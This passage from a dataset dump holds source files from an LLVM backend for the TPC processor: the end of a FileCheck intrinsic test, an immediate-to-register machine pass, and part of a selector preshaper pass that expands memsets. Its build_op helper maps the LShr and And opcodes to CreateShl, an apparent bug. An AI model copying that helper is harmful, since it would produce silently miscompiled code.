CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n// CHECK-DAG: ld_l_v [[SHIFT:%V[0-9]+]], %S2\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S3\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S5\n\n // v_convert_int32_to_i16_b\n {\n short128 res = income;\n \n res = v_convert_int32_to_i16_b(x, shift, 0, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 rhne to_16 [[DEST]], [[SRC]], [[SHIFT]], [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, 4, 0, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 rhne to_16 [[DEST]], [[SRC]], 0x4, [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, sh1, 0, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 rhne to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, sh1, 0, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 rhne to_16 [[DEST]], [[SRC]], %S4, %SP1\n\n#if defined(__gaudi__)\n res = v_convert_int32_to_i16_b(x, sh1, 0, SW_RZ, res, pred, 0);\n *dest_ptr++ = res;\n// GEN2P: convert_int32 lane_sel=0 rz to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n#endif\n\n res = v_convert_int32_to_i16_b(x, sh1, 0, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 rd to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, sh1, 0, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 ru to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, sh1, 0, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 sr to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, sh1, 1, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=1 rhne to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, sh1, 1, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=1 rhne to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, sh1, 1, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=1 rd to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, sh1, 1, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=1 ru to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n res = v_convert_int32_to_i16_b(x, sh1, 1, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=1 sr to_16 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n income = res;\n }\n\n // v_convert_int32_to_i16_vb\n {\n short128 res = income;\n \n res = v_convert_int32_to_i16_vb(x, shift, 0, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 rhne to_16 [[DEST]], [[SRC]], [[SHIFT]], [[VPRED]]\n\n res = v_convert_int32_to_i16_vb(x, 4, 0, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 rhne to_16 [[DEST]], [[SRC]], 0x4, [[VPRED]]\n\n res = v_convert_int32_to_i16_vb(x, sh1, 0, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 rhne to_16 [[DEST]], [[SRC]], %S4, [[VPRED]]\n\n res = v_convert_int32_to_i16_vb(x, shift, 0, 0, res, to_bool64(vpred), 1);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=0 rhne to_16 [[DEST]], [[SRC]], [[SHIFT]], ![[VPRED]]\n\n res = v_convert_int32_to_i16_vb(x, shift, 1, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_int32 lane_sel=1 rhne to_16 [[DEST]], [[SRC]], [[SHIFT]], [[VPRED]]\n\n income = res;\n }\n}\n\n\n" }, { "alpha_fraction": 0.6132206916809082, "alphanum_fraction": 0.6164701581001282, "avg_line_length": 30.679410934448242, "blob_id": "33e2daa5a8355a1183cbac52b5e11bf37b9edef3", "content_id": "d662d76ff9b30c4c6f530b758325f9b9ad79db4c", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10771, "license_type": "permissive", "max_line_length": 80, "num_lines": 340, "path": "/llvm/lib/Target/TPC/TPCImmToReg.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCImmToReg.cpp--------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/CodeGen/MachineDominators.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/IR/Dominators.h\"\n#include <tuple>\n#include <unordered_map>\n\n#define DEBUG_TYPE \"imm2reg\"\n\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCImmToReg();\nvoid initializeTPCImmToRegPass(PassRegistry &);\n} // namespace llvm\n\nstatic const char PassDescription[] = \"Use REG instead of IMM\";\nstatic const char PassName[] = \"tpc-imm-to-reg\";\n\nstatic cl::opt<bool> EnableTPCImmToReg(\"tpc-imm-to-reg\",\n cl::desc(PassDescription),\n cl::init(false), cl::Hidden);\n\nnamespace {\nclass TPCImmToReg : public MachineFunctionPass {\nprivate:\n MachineFunction *MF = nullptr;\n MachineRegisterInfo *MRI = nullptr;\n const TargetInstrInfo *TII = nullptr;\n unsigned NumReplaced = 0;\n using InstrVec = std::vector<MachineInstr *>;\n using ImmToInstrIterMap = std::unordered_map<int64_t, InstrVec>;\n using OpDetail = std::tuple<unsigned, unsigned, unsigned>;\n ImmToInstrIterMap immInstructions;\n std::map<unsigned, OpDetail> OpDetailMap;\n\nprivate:\n void registerInstructionsForXform();\n bool costLessThanThreshold(InstrVec &vec);\n MachineBasicBlock *closestDominator(MachineDominatorTree *DT,\n std::set<MachineBasicBlock *> &blocks);\n MachineBasicBlock *computeDominator(MachineDominatorTree *DT, InstrVec &vec);\n void replaceUses(MachineFunction &Func, MachineBasicBlock *MBB,\n MachineInstr *MI, unsigned imm, unsigned vreg);\n unsigned createReg(MachineFunction &Func, int64_t imm,\n MachineBasicBlock *dom);\n bool isPotentialLoopStep(MachineInstr *MI);\n void collectImmUse(MachineInstr *MI);\n void xformImmUse(MachineFunction &Func);\n bool processImmOperand(MachineFunction &Func);\n void printImmUse();\n\npublic:\n static char ID;\n StringRef getPassName() const override { return PassDescription; }\n TPCImmToReg() : MachineFunctionPass(ID) {\n initializeTPCImmToRegPass(*PassRegistry::getPassRegistry());\n registerInstructionsForXform();\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addRequired<MachineDominatorTree>();\n MachineFunctionPass::getAnalysisUsage(AU);\n }\n};\n} // namespace\n\nchar TPCImmToReg::ID = 0;\n\nINITIALIZE_PASS_BEGIN(TPCImmToReg, PassName, PassDescription, false, false)\nINITIALIZE_PASS_DEPENDENCY(MachineDominatorTree)\nINITIALIZE_PASS_END(TPCImmToReg, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCImmToReg() { return new TPCImmToReg(); }\n\n#ifndef NDEBUG\nstatic std::string getSimpleNodeLabelDebug(const MachineBasicBlock *node) {\n if (!node->getName().empty())\n return node->getName().str();\n\n std::string str;\n raw_string_ostream os(str);\n\n node->printAsOperand(os, false);\n return os.str();\n}\n#endif\n\nbool TPCImmToReg::costLessThanThreshold(InstrVec &vec) {\n // very naive cost-model, works for now.\n // TODO : should we factor in the impact on live-ranges, register pressure\n return (vec.size() >= 3);\n}\n\nvoid TPCImmToReg::registerInstructionsForXform() {\n // register ADDsip instruction for transform for now.\n // once the pass is more mature and can be enabled by default\n // register more instructions.\n OpDetailMap[TPC::ADDsip] = std::make_tuple(TPC::ADDsip, // from\n TPC::ADDssp, // to\n 2 // imm pos\n );\n}\n\nMachineBasicBlock *\nTPCImmToReg::closestDominator(MachineDominatorTree *DT,\n std::set<MachineBasicBlock *> &blocks) {\n if (blocks.empty())\n return nullptr;\n std::set<MachineBasicBlock *>::iterator iter = blocks.begin();\n MachineBasicBlock *dom = *iter;\n while (++iter != blocks.end()) {\n MachineBasicBlock *mBB = *iter;\n dom = mBB ? DT->findNearestCommonDominator(dom, mBB) : nullptr;\n if (!dom) {\n return nullptr;\n }\n }\n return dom;\n}\n\nMachineBasicBlock *TPCImmToReg::computeDominator(MachineDominatorTree *DT,\n InstrVec &vec) {\n std::set<MachineBasicBlock *> ublocks;\n for (auto &instr : vec) {\n ublocks.insert(instr->getParent());\n LLVM_DEBUG(dbgs() << \"block: \"\n << getSimpleNodeLabelDebug(instr->getParent()) << \"\\n\");\n }\n MachineBasicBlock *dom = closestDominator(DT, ublocks);\n LLVM_DEBUG(dbgs() << \"common dom: \" << getSimpleNodeLabelDebug(dom) << \"\\n\");\n if (ublocks.find(dom) != ublocks.end()) {\n LLVM_DEBUG(dbgs() << \"dom is one of the blocks: \"\n << getSimpleNodeLabelDebug(dom) << \"\\n\");\n auto domBB = DT->getNode(dom);\n if (domBB == nullptr) {\n dom = nullptr;\n } else {\n auto idom = domBB->getIDom();\n if (idom) {\n dom = idom->getBlock();\n } else {\n dom = nullptr;\n }\n }\n }\n return dom;\n}\n\nstatic bool getCmpMode(unsigned Opcode) {\n switch (Opcode) {\n case TPC::CMP_EQssp:\n case TPC::CMP_EQsip:\n case TPC::CMP_NEQssp:\n case TPC::CMP_NEQsip:\n case TPC::CMP_LESSssp:\n case TPC::CMP_LESSsip:\n case TPC::CMP_LEQssp:\n case TPC::CMP_LEQsip:\n case TPC::CMP_GRTssp:\n case TPC::CMP_GRTsip:\n case TPC::CMP_GEQssp:\n case TPC::CMP_GEQsip:\n return true;\n default:\n return false;\n }\n}\n\nbool TPCImmToReg::isPotentialLoopStep(MachineInstr *MI) {\n // check if the o/p of instruction is used in a cmp instruction.\n // if so, it is a potential incr.\n MachineOperand Out = MI->getOperand(0);\n if (Out.isReg()) {\n for (MachineRegisterInfo::use_iterator RSUse = MRI->use_begin(Out.getReg()),\n RSE = MRI->use_end();\n RSUse != RSE; ++RSUse) {\n MachineInstr *RSUseMI = RSUse->getParent();\n auto *I = dyn_cast<MachineInstr>(&*RSUseMI);\n if (I) {\n if (getCmpMode(I->getOpcode())) {\n return true;\n }\n }\n }\n }\n return false;\n}\n\nvoid TPCImmToReg::collectImmUse(MachineInstr *MI) {\n auto opc = MI->getOpcode();\n auto opd_it = OpDetailMap.find(opc);\n if ((opd_it == OpDetailMap.end()) || isPotentialLoopStep(MI)) {\n return;\n }\n MachineOperand opnd = MI->getOperand(std::get<2>(opd_it->second));\n if (opnd.isImm()) {\n int64_t imm = opnd.getImm();\n immInstructions[imm].push_back(MI);\n\n LLVM_DEBUG(dbgs() << \"collected imm : \" << imm << \" from : \");\n LLVM_DEBUG(MI->dump());\n }\n}\n\nunsigned TPCImmToReg::createReg(MachineFunction &Func, int64_t imm,\n MachineBasicBlock *dom) {\n MF = &Func;\n auto ST = &MF->getSubtarget();\n auto TII = ST->getInstrInfo();\n\n unsigned v_reg = MRI->createVirtualRegister(\n ST->getTargetLowering()->getRegClassFor(MVT::i32));\n MachineBasicBlock::iterator InsertPos = --(dom->end());\n BuildMI(*dom, InsertPos, DebugLoc(), TII->get(TPC::MOVsip), v_reg)\n .addImm(imm)\n .addImm(TPCII::OpType::INT32)\n .addImm(0)\n .addReg(v_reg, RegState::Undef)\n .addReg(TPC::SP0)\n .addImm(0);\n return v_reg;\n}\n\nvoid TPCImmToReg::replaceUses(MachineFunction &Func, MachineBasicBlock *MBB,\n MachineInstr *MI, unsigned imm, unsigned vreg) {\n MF = &Func;\n MRI = &MF->getRegInfo();\n auto ST = &MF->getSubtarget();\n auto TII = ST->getInstrInfo();\n bool bfound = false;\n unsigned immOpc = 0;\n auto opc = MI->getOpcode();\n auto opd_it = OpDetailMap.find(opc);\n if (opd_it != OpDetailMap.end()) {\n unsigned idx = std::get<2>(opd_it->second);\n auto &op = MI->getOperand(std::get<2>(opd_it->second));\n if (op.isImm() && op.getImm() == imm) {\n immOpc = std::get<1>(opd_it->second);\n bfound = true;\n }\n if (bfound) {\n MachineInstrBuilder MIB;\n MIB = BuildMI(*MBB, MI, MI->getDebugLoc(), TII->get(immOpc),\n MI->getOperand(0).getReg());\n for (unsigned int i = 1; i < idx; i++) {\n MIB.addReg(MI->getOperand(i).getReg());\n }\n MIB.addReg(vreg);\n for (unsigned int i = idx + 1; i < MI->getNumOperands(); i++) {\n MIB.add(MI->getOperand(i));\n }\n LLVM_DEBUG(dbgs() << \"replacing instruction using imm : \" << imm\n << \" in : \");\n LLVM_DEBUG(MI->dump());\n MI->removeFromParent();\n ++NumReplaced;\n }\n }\n}\n\nvoid TPCImmToReg::xformImmUse(MachineFunction &Func) {\n MachineDominatorTree *DT = &getAnalysis<MachineDominatorTree>();\n for (auto &immInstr : immInstructions) {\n LLVM_DEBUG(dbgs() << \"Processing instructions using imm : \"\n << immInstr.first << \"\\n\");\n auto &instrVec = immInstr.second;\n if (costLessThanThreshold(instrVec)) {\n MachineBasicBlock *dom = computeDominator(DT, instrVec);\n if (dom) {\n LLVM_DEBUG(dbgs() << \"dom: \" << getSimpleNodeLabelDebug(dom) << \"\\n\");\n unsigned vreg = createReg(Func, immInstr.first, dom);\n for (auto &instr : instrVec) {\n MachineInstr *MI = instr;\n replaceUses(Func, MI->getParent(), MI, immInstr.first, vreg);\n }\n } else {\n LLVM_DEBUG(\n dbgs() << \"Common dominator not found for instructions using imm : \"\n << immInstr.first << \"\\n\");\n continue;\n }\n }\n }\n}\n\nbool TPCImmToReg::processImmOperand(MachineFunction &Func) {\n for (auto &MBB : Func) {\n for (auto &MI : MBB) {\n collectImmUse(&MI);\n }\n }\n xformImmUse(Func);\n immInstructions.clear();\n return false;\n}\n\nbool TPCImmToReg::runOnMachineFunction(MachineFunction &Func) {\n if (!EnableTPCImmToReg)\n return false;\n MF = &Func;\n MRI = &MF->getRegInfo();\n if (skipFunction(Func.getFunction()))\n return false;\n processImmOperand(Func);\n\n return NumReplaced > 0;\n}\n\n#if 0\nvoid TPCImmToReg::printImmUse() {\n dbgs() << \"printImmUse ..\" << \"\\n\";\n //for(auto& x : immInstructions) {\n // dbgs() << \"Imm: \" << x.first << \"\\n\";\n // auto& vec = x.second;\n // for(auto& instr : vec) {\n // MachineInstr* MI = instr.first;\n // MI->dump(); \n // }\t \n //}\n}\n#endif\n" }, { "alpha_fraction": 0.5304116010665894, "alphanum_fraction": 0.5527442693710327, "avg_line_length": 37.379852294921875, "blob_id": "17a489d39f1f17a1e0c0d3a080a5c8935de1fcf6", "content_id": "2c5bea6106499ba63821efec2ee8873d29fc82d4", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 46479, "license_type": "permissive", "max_line_length": 122, "num_lines": 1211, "path": "/llvm/lib/Target/TPC/TPCSelectorPreshaper.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCSelectorPreshaper.cpp ----------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/Analysis/TargetLibraryInfo.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/PatternMatch.h\"\n#include \"llvm/Analysis/VectorUtils.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Transforms/Utils/LowerMemIntrinsics.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/IR/DebugInfoMetadata.h\"\n\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCSelectorPreshaper();\nvoid initializeTPCSelectorPreshaperLegacyPassPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC selector preshaper\";\nstatic const char PassName[] = \"tpc-preshape\";\n\nstatic cl::opt<bool>\nEnableNearbyintWorkaround(\"tpc-nearbyint-workaround\",\n cl::Hidden,\n cl::init(true));\n\n\n#define DEBUG_TYPE \"tpc-movopt\"\n\nnamespace {\nclass TPCSelectorPreshaperLegacyPass : public FunctionPass {\n Function *F = nullptr;\n unsigned NumTransformed = 0;\n\n SmallVector<Value *, 16> WorkList;\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCSelectorPreshaperLegacyPass() : FunctionPass(ID) {\n initializeTPCSelectorPreshaperLegacyPassPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnFunction(Function &F) override;\n Value *replace(Value *I, VectorType *DType);\n};\n}\n\nchar TPCSelectorPreshaperLegacyPass::ID = 0;\n\nINITIALIZE_PASS_BEGIN(TPCSelectorPreshaperLegacyPass, PassName, PassDescription, false, false)\nINITIALIZE_PASS_END(TPCSelectorPreshaperLegacyPass, PassName, PassDescription, false, false)\n\n\nFunctionPass *llvm::createTPCSelectorPreshaper() {\n return new TPCSelectorPreshaperLegacyPass();\n}\n\n// return true if shaffle is unsupported and must be transformed\n// shuffle is concat of 2 vec ({1,2} {3,4})\n// first is 1st half of result vector\n// second is 2nd half vector\n// {0,1,2,3} -> returns first- 3, sec-1, < 0 if mask is undefined\n// result is vector second part of second vector + 2half of 1st vector\nstatic bool analyze_shuffle_mask(const Constant * mask,int *first, int *second)\n{\n int MaskNumElts = mask->getType()->getVectorNumElements();\n if ((MaskNumElts & 0x7) != 0) {// size must have 4 parts\n return false;\n }\n int half_size = MaskNumElts / 2;\n int starts[4];\n int i;\n for (i = 0; i < 4; i++) {\n starts[i] = half_size*i;\n }\n SmallVector<int, 64> Indices;\n ShuffleVectorInst::getShuffleMask(mask, Indices);\n // to find for first\n bool found = false;\n for (i = 0; i < 4; i++) {\n if (Indices[0] == starts[i]) {\n *first = i;\n found = true;\n break;\n }\n }\n if (!found) {\n if (Indices[0] >= 0) {\n return false;\n }\n else { // if half mask is undef\n for (i = 0; i < half_size; i++) {\n if (Indices[i] >= 0) {\n return false;\n }\n }\n // 1sthalfmask is undef\n *first = -1;\n }\n }\n if (*first >= 0) {\n // To check linearity of 1st half \n for (i = 0; i < half_size; i++) {\n if (Indices[i] != i + *first*half_size) {\n return false;\n }\n }\n }\n found = false;\n // to find for second\n for (i = 0; i < 4; i++) {\n if (Indices[half_size] == starts[i]) {\n *second = i;\n found = true;\n break;\n }\n }\n if (!found) {\n return false;\n }\n // To check linearity of 2nd half \n for (i = half_size; i < MaskNumElts; i++) {\n if (Indices[i] != i - half_size + *second*half_size) {\n return false;\n }\n }\n return true;\n}\n\n\nstatic bool shallExpandIntrinsic(Instruction &I) {\n if (isa<IntrinsicInst>(I))\n if (auto *Memset = dyn_cast<MemSetInst>(&I))\n if (!isa<Constant>(Memset->getLength()))\n return true;\n return false;\n}\n\n\nstatic void expandVectorMemSetAsLoop(MemSetInst *Memset) {\n const int VectorSize = 256;\n\n BasicBlock *OrigBB = Memset->getParent();\n Function *F = OrigBB->getParent();\n Value *CopyLen = Memset->getLength();\n Value *DstAddr = Memset->getRawDest();\n Value *SetValue = Memset->getValue();\n Type *TypeOfCopyLen = CopyLen->getType();\n\n // Create vector to fill with.\n IRBuilder<> PheHeaderBuilder(Memset);\n SetValue = PheHeaderBuilder.CreateVectorSplat(VectorSize, SetValue);\n // Length must be divided by 256.\n CopyLen = PheHeaderBuilder.CreateUDiv(CopyLen, ConstantInt::get(TypeOfCopyLen, VectorSize));\n\n // The code below is borrowed from createMemSetLoop in LowerMemIntrinsics.cpp\n\n BasicBlock *NewBB = OrigBB->splitBasicBlock(Memset, \"split\");\n BasicBlock *LoopBB = BasicBlock::Create(F->getContext(), \"loadstoreloop\", F, NewBB);\n\n IRBuilder<> Builder(OrigBB->getTerminator());\n\n // Cast pointer to the type of value getting stored\n unsigned dstAS = cast<PointerType>(DstAddr->getType())->getAddressSpace();\n DstAddr = Builder.CreateBitCast(DstAddr, PointerType::get(SetValue->getType(), dstAS));\n\n Builder.CreateCondBr(\n Builder.CreateICmpEQ(ConstantInt::get(TypeOfCopyLen, 0), CopyLen), NewBB,\n LoopBB);\n OrigBB->getTerminator()->eraseFromParent();\n\n IRBuilder<> LoopBuilder(LoopBB);\n PHINode *LoopIndex = LoopBuilder.CreatePHI(TypeOfCopyLen, 0);\n LoopIndex->addIncoming(ConstantInt::get(TypeOfCopyLen, 0), OrigBB);\n\n LoopBuilder.CreateStore(\n SetValue,\n LoopBuilder.CreateInBoundsGEP(SetValue->getType(), DstAddr, LoopIndex),\n Memset->isVolatile());\n\n Value *NewIndex =\n LoopBuilder.CreateAdd(LoopIndex, ConstantInt::get(TypeOfCopyLen, 1));\n LoopIndex->addIncoming(NewIndex, LoopBB);\n\n LoopBuilder.CreateCondBr(LoopBuilder.CreateICmpULT(NewIndex, CopyLen), LoopBB,\n NewBB);\n}\n\n\nstatic void expandScalarMemSetAsLoop(MemSetInst *Memset) {\n const int ScalarSize = 4;\n\n BasicBlock *OrigBB = Memset->getParent();\n Function *F = OrigBB->getParent();\n Value *CopyLen = Memset->getLength();\n Value *DstAddr = Memset->getRawDest();\n Value *SetValue = Memset->getValue();\n Type *TypeOfCopyLen = CopyLen->getType();\n\n // Create word to fill with.\n IRBuilder<> PheHeaderBuilder(Memset);\n if (ConstantInt *C = dyn_cast<ConstantInt>(SetValue)) {\n unsigned ByteVal = C->getLimitedValue();\n ByteVal &= 0x00FF;\n ByteVal |= (ByteVal << 8);\n ByteVal |= (ByteVal << 16);\n SetValue = ConstantInt::get(Type::getInt32Ty(F->getContext()), ByteVal);\n } else {\n SetValue = PheHeaderBuilder.CreateAnd(SetValue, ConstantInt::get(SetValue->getType(), 0x00FF));\n Value *Byte1 = PheHeaderBuilder.CreateShl(SetValue, 8);\n SetValue = PheHeaderBuilder.CreateOr(SetValue, Byte1);\n Value *Bytes2_3 = PheHeaderBuilder.CreateShl(SetValue, 16);\n SetValue = PheHeaderBuilder.CreateOr(SetValue, Bytes2_3);\n }\n\n // Length must be divided by 4.\n CopyLen = PheHeaderBuilder.CreateUDiv(CopyLen, ConstantInt::get(TypeOfCopyLen, ScalarSize));\n\n // The code below is borrowed from createMemSetLoop in LowerMemIntrinsics.cpp\n\n BasicBlock *NewBB =\n OrigBB->splitBasicBlock(Memset, \"split\");\n BasicBlock *LoopBB\n = BasicBlock::Create(F->getContext(), \"loadstoreloop\", F, NewBB);\n\n IRBuilder<> Builder(OrigBB->getTerminator());\n\n // Cast pointer to the type of value getting stored\n unsigned dstAS = cast<PointerType>(DstAddr->getType())->getAddressSpace();\n DstAddr = Builder.CreateBitCast(DstAddr,\n PointerType::get(Type::getInt32Ty(F->getContext()), dstAS));\n\n Builder.CreateCondBr(\n Builder.CreateICmpEQ(ConstantInt::get(TypeOfCopyLen, 0), CopyLen), NewBB,\n LoopBB);\n OrigBB->getTerminator()->eraseFromParent();\n\n IRBuilder<> LoopBuilder(LoopBB);\n PHINode *LoopIndex = LoopBuilder.CreatePHI(TypeOfCopyLen, 0);\n LoopIndex->addIncoming(ConstantInt::get(TypeOfCopyLen, 0), OrigBB);\n\n LoopBuilder.CreateStore(\n SetValue,\n LoopBuilder.CreateInBoundsGEP(SetValue->getType(), DstAddr, LoopIndex),\n Memset->isVolatile());\n\n Value *NewIndex =\n LoopBuilder.CreateAdd(LoopIndex, ConstantInt::get(TypeOfCopyLen, 1));\n LoopIndex->addIncoming(NewIndex, LoopBB);\n\n LoopBuilder.CreateCondBr(LoopBuilder.CreateICmpULT(NewIndex, CopyLen), LoopBB,\n NewBB);\n}\n\n\nstatic unsigned expandIntrinsics(SmallVectorImpl<Instruction *> &IntrinsicsToExpand) {\n unsigned Cnt = 0;\n for (Instruction *I : IntrinsicsToExpand) {\n if (auto *Memset = dyn_cast<MemSetInst>(I)) {\n if (Memset->getDestAddressSpace() == 2)\n expandVectorMemSetAsLoop(Memset);\n else\n expandScalarMemSetAsLoop(Memset);\n Memset->eraseFromParent();\n ++Cnt;\n }\n }\n return Cnt;\n}\n\nstatic bool user_is_zero_mask_shuffle(Instruction &I)\n{\n if (I.getNumUses() == 1) {\n bool all_zero = true;\n auto *subuser = I.user_back();\n if (auto *shafi = dyn_cast<ShuffleVectorInst>(subuser)) {\n const Constant * mask = shafi->getMask();\n int msksize = mask->getType()->getVectorNumElements();\n SmallVector<int, 64> Indices;\n ShuffleVectorInst::getShuffleMask(mask, Indices);\n //analyze if all mask is 0\n for (int i = 0; i < msksize; i++) {\n if (Indices[i] != 0) {\n all_zero = false;\n break;\n }\n }\n return all_zero;\n } \n else {\n return user_is_zero_mask_shuffle(*subuser);\n }\n }\n return false;\n}\n\nstatic Value* build_op(Instruction &I, Value*opnd1, Value*opnd2)\n{\n IRBuilder<> Builder(&I);\n if (I.getOpcode() == Instruction::Add) {\n return Builder.CreateAdd(opnd1, opnd2);\n }\n if (I.getOpcode() == Instruction::FMul) {\n return Builder.CreateFMul(opnd1, opnd2);\n }\n if (I.getOpcode() == Instruction::Mul) {\n return Builder.CreateMul(opnd1, opnd2);\n }\n if (I.getOpcode() == Instruction::Shl) {\n return Builder.CreateShl(opnd1, opnd2);\n }\n if (I.getOpcode() == Instruction::LShr) {\n return Builder.CreateShl(opnd1, opnd2);\n }\n if (I.getOpcode() == Instruction::And) {\n return Builder.CreateShl(opnd1, opnd2);\n }\n\n return nullptr;\n}\n\n\nstatic Value *consider_shuffle(ShuffleVectorInst* shuffl) {\n Value *o01 = nullptr;\n const Constant *mask = shuffl->getMask();\n if (mask->isZeroValue()) {\n Value *shufop = shuffl->getOperand(0);\n auto inse = dyn_cast<InsertElementInst>(shufop);\n if (inse) {\n o01 = inse->getOperand(1);\n } else if (auto nextshuff = dyn_cast<ShuffleVectorInst>(shufop)) {\n o01 = consider_shuffle(nextshuff);\n }\n }\n return o01;\n}\n\nstatic void unite_shuffle(ShuffleVectorInst *shufinstr) {\n for (auto Usr : shufinstr->users()) {\n if (auto shaf_us = dyn_cast<ShuffleVectorInst>(Usr)) {\n const Constant *mask1 = shufinstr->getMask();\n const Constant *mask2 = shaf_us->getMask();\n Value *op1_1 = shufinstr->getOperand(1);\n Value *op1_2 = shaf_us->getOperand(1);\n if (mask1 == mask2 && op1_1 == op1_2) {\n if (shaf_us->getOperand(0) == shufinstr) {\n shaf_us->replaceAllUsesWith(shufinstr);\n }\n }\n }\n }\n}\n\nstatic void unvect_instr(Instruction &I, LLVMContext &Ctx)\n{\n IRBuilder<> Builder(&I);\n auto op1 = I.getOperand(1);\n auto op0 = I.getOperand(0);\n Type* t1 = op1->getType();\n IntegerType *I32Type = Type::getInt32Ty(Ctx);\n\n // need to eliminate vector fadd\n auto *ins0 = dyn_cast<InsertElementInst>(op0);\n auto *ins1 = dyn_cast<InsertElementInst>(op1);\n Value* o01 = nullptr;\n Value* o02 = nullptr;\n Value* o11 = nullptr;\n Value* o12 = nullptr;\n uint64_t Val0, Val1;\n Value* sum1 = nullptr;\n bool all_zero_shuffle = user_is_zero_mask_shuffle(I);\n if (ins0) {\n o01 = ins0->getOperand(1);\n o02 = ins0->getOperand(2);\n if (!o01->getType()->isVectorTy() && dyn_cast<ConstantInt>(o02)) {\n Val0 = cast<ConstantInt>(o02)->getLimitedValue();\n if (Val0 != 0) {\n o01 = nullptr;\n }\n }\n }\n else if (auto shuffl = dyn_cast<ShuffleVectorInst>(op0)) { //consider shuffle\n o01 = consider_shuffle(shuffl);\n }\n else {\n Constant* cv = dyn_cast<Constant>(op0);\n VectorType* cvt = cast<VectorType>(op0->getType());\n if (cv&&cvt) {\n unsigned int veclen = cvt->getNumElements();\n // check if it is irregular vector {v,u,u.....}\n if (isa<ConstantVector>(cv) || isa<ConstantDataVector>(cv)) {\n Constant* first = cv->getAggregateElement(0U);\n bool elements_are_not_equal = false;\n if (!all_zero_shuffle) {\n for (unsigned i = 1; i < veclen; i++) {\n Constant* current = cv->getAggregateElement(i);\n if (current != first && !isa<UndefValue>(current)) { // undef -1 accepatble\n elements_are_not_equal = 